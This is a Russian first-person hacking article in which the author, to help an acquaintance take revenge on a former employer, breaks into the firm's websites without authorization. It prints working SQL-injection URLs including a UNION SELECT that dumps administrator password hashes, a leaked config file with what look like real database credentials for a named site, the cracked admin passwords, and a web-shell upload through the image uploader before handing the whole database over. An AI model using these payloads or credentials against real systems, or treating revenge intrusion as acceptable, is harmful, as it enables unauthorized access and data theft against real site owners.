Меня всегда удивляли девелоперы, регулярно создающие бажные продукты
и умудряющиеся за них брать немалые деньги. Так было и в этот раз.
Когда я сидел
и ковырял найденную дырку в одном серьезном коммерческом CMS, о
котором напишу в следующий раз, в асю стукнул старый знакомый с просьбой. Он сказал, что подрабатывал веб-дизайнером на одну девелоперскую контору, но они его кинули с оплатой, заблокировали аккаунт и вот если бы я вернул ему доступ, то он бы утер нос своим обидчикам. Напел он это не очень внятно и малоубедительно, думаю, скорее всего, его выгнали
за регулярное пьянство и срыв сроков выполнения работ. Но так как просил он очень слезно, я отвлекся от своих дел и решил помочь старому знакомому.

Пройдясь по сайту самой фирмы и просканив порты, я ничего вразумительного не нашел, и думал уже забить на все это, так и сказав знакомому, что, видно, судьба к нему сегодня не благосклонна. Тут старый знакомый вспомнил, 
что это был не единственный сайт фирмы, и через пару минут у меня был список из нескольких урлов. Я решил попытать счастья на других сайтах
в надежде, что пароль одного админа на разных сайтах нередко бывает один и тот же.

Анализ первых трех сайтов также ничего не дал. И только на четвертом запрос с кавычкой выплюнул радостное:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/doublef/public_html/camping/cdb.inc on line 61

Попытка просмотреть содержимое файла cdb.inc ничего не дала, ответ сервера был категоричен: 

You don't have permission to access /camping/cdb.inc on this server

Зато была возможность SQL-инъекции:

http://target.com/?action=viewCat&cid=88&aid=&lid=2+and+1=1/*

Быстро подобрав количество полей (их оказалось всего
7), я поимел нешуточный геммор с названием таблиц. Именно этот процесс мне
всегда давался с трудом, но, помня свои предыдущие мучения с подбором страниц, я решил поискать инъекции в других скриптах - может, там мне удастся получить хоть какую-то дополнительную информацию о названиях таблиц и полей.

И действительно, очень быстро я нашел еще одну инъекцию:

http://target.com/?action=viewArt&cid=73&aid=91&lid=2’

,

нет, не выдавшую мне названия таблиц и полей, а всего лишь
сообщившую еще об одном файле в системе:

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/doublef/public_html/camping/cdb.inc on line 72

Notice: Undefined index: text in /home/doublef/public_html/camping/function.inc on line 50

,

доступ к которому был для меня также закрыт.

Оставалось только поискать в инете инфу про данную CMS и возможную структуру базы, хотя на это я особенно не рассчитывал. Разговор со знакомым тоже результата не дал, кроме места расположения админки, он ничем помочь не мог.

Введя в гугл /?action=viewCat&cid=, я получил несколько ссылок, и все они вели на ранее просмотренные мною сайты. Тогда я решил проверить наличие файлов cdb.inc и function.inc на них. Директории /camping/ нигде не было, но файлы я нашел в корне всех сайтов и они были доступны мне для просмотра:

http://www.grandmonceau.com/cdb.inc
http://www.grandmonceau.com/function.inc

Даже толком не просмотрев их, я вбил в строку имя файла, которое мне подсказывала интуиция:

http://www.grandmonceau.com/config.inc 

и созерцал реквизиты доступа к БД:

<?
// config.inc
define('PREFIX', dirname(__FILE__)); 
define('DEFAULT_LANGUAGE', "nl");
define('WEBSITE',"Grand Monceau");
$categoryTypes = array(1 => "Algemeen artikel", 
					   2 => "Home pagina", 
					   3 => "Plaatje boven menu",
 					   11 => "Boekingen pagina",
					   4 => "Contact pagina",
					   6 => "Vacature pagina",
					   7 => "Link pagina",
					   8 => "Foto pagina",
				         12=> "Gastenboek");
$userNivo = array(1 => "Administrator",
			2 => "Invoer / Opmaak",
			3 => "Alleen invoer",
			4 => "Alleen Lezen");

$conf['articlesPerPage'] = 10; 
$mail['returnAddress1'] = "cdiepenbroek@wisselaar.nl";
$mail['returnAddress'] = "info@grandmonceau.com";
$mail['headers'] = 'MIME-Version: 1.0' . "\r\n";
$mail['headers'] .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
if(is_readable(PREFIX . "/config_local.inc"))
{ 
	include_once(PREFIX . "/config_local.inc"); 
} 
else 
{ 
	define('PATH_TO_SMARTY', dirname(__FILE__) . "/");
	error_reporting(E_NONE);
	$conf['siteUrl'] = "http://www.grandmonceau.com/";
	//trailing slash required.
	define('DBHOST', "localhost"); 
	define('DBUSER', "grandmon_monceau"); 
	define('DBPASS', "gh6ty84nq2"); 
	define('DBNAME', "grandmon_monceau"); 
	define('ARMINCO_HOSTING', false);
} 
?>

Я сразу прикинул, что, если пароль подойдет к фтп, залью RST MySQL и просмотрю базу. Но пароль к фтп не подошел.

Тогда я принялся анализировать cdb.inc и function.inc, в первом ничего интересного не оказалось, зато второй порадовал полной информацией о таблицах и полях базы, особенно этой:

{ 
global $db; 
$wc = ""; 
if($login === NULL) 
{ 
return ($db->fetch_assoc_table("SELECT * FROM administrator")); 
} 
if($password !== NULL)	$wc = " AND password = MD5('" . $password . "') "; 
return ($db->fast_fetch_assoc("SELECT * FROM administrator 
WHERE login = '" . $login . "'" . $wc)); 
} 

Через минуту я уже владел md5-хешами паролей админа и еще одного пользователя:

http://target.com/?action=viewCat&cid=88& aid=&lid=2+
union+select+1,2,3,4,5,6,
password+from+administrator/*

Пробив хеши на http://www.milw0rm.com/md5/info.php,
я получил нехитрый пароль админа – qwerty и его напарника – martijn, и вот я уже в админке.

К сожалению, этот чудо-пароль админа не подошел на основном сайте девелоперской конторы.

Админка оказалась чудом минимализма - можно было только добавлять/редактировать/удалять тексты, и только в одном месте я нашел форму для upload’а картинок. Вообще, upload картинок в админке
- одно из самых слабых мест, и эта CMS была не исключением.

Залив шелл, я еще немного помучался с его поиском,
в конце оказалось, что шелл залился в директорию files, хотя в админке нигде не указывалось, куда заливаются файлы (незач0т девелоперам).

Найдя config.inc и выудив из него реквизиты доступа к БД,
уже через шелл я залил RST MySQL и был награжден. База оказалось общей для всех сайтов, различались они только названиями таблиц:

Doublef
Doublef_camping
Doublef_hh
Doublef_org и т.д.

Показав, как пользоваться RST MySQL, я отдал базу на растерзание старому знакомому и отправился спать.
И хотя в душе я пацифист, ну в смысле тот, кто всеми путями косит от армии, быть «оружием возмездия» мне было интересно. А ради чего еще жить?

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии